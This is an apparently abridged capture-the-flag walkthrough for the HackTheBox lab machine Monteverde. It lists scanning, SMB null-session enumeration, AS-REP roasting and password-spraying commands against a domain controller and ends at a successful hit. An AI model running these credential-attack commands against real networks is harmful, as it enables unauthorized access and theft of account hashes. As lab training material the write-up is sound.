HackTheBox: Monteverde
Enumeration 1 export target=10.129.50.93 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,88,135,139,389,464,636,445,5985,9389,49667,49674,49673,49676,49696 -T5 $target -oN nmap_monteverde SMB Try null session 1 nxc smb $target -u '' -p '' Get users 1 nxc smb $target -u '' -p '' --users Get shares 1 nxc smb $target -u '' -p '' --shares Try ASREP-Roasting 1 impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -no-pass -dc-ip $target -format hashcat -outputfile asrep_hashes.txt Password Spraying 1 nxc smb $target -u users.txt -p users.txt --continue-on-success One hit: ...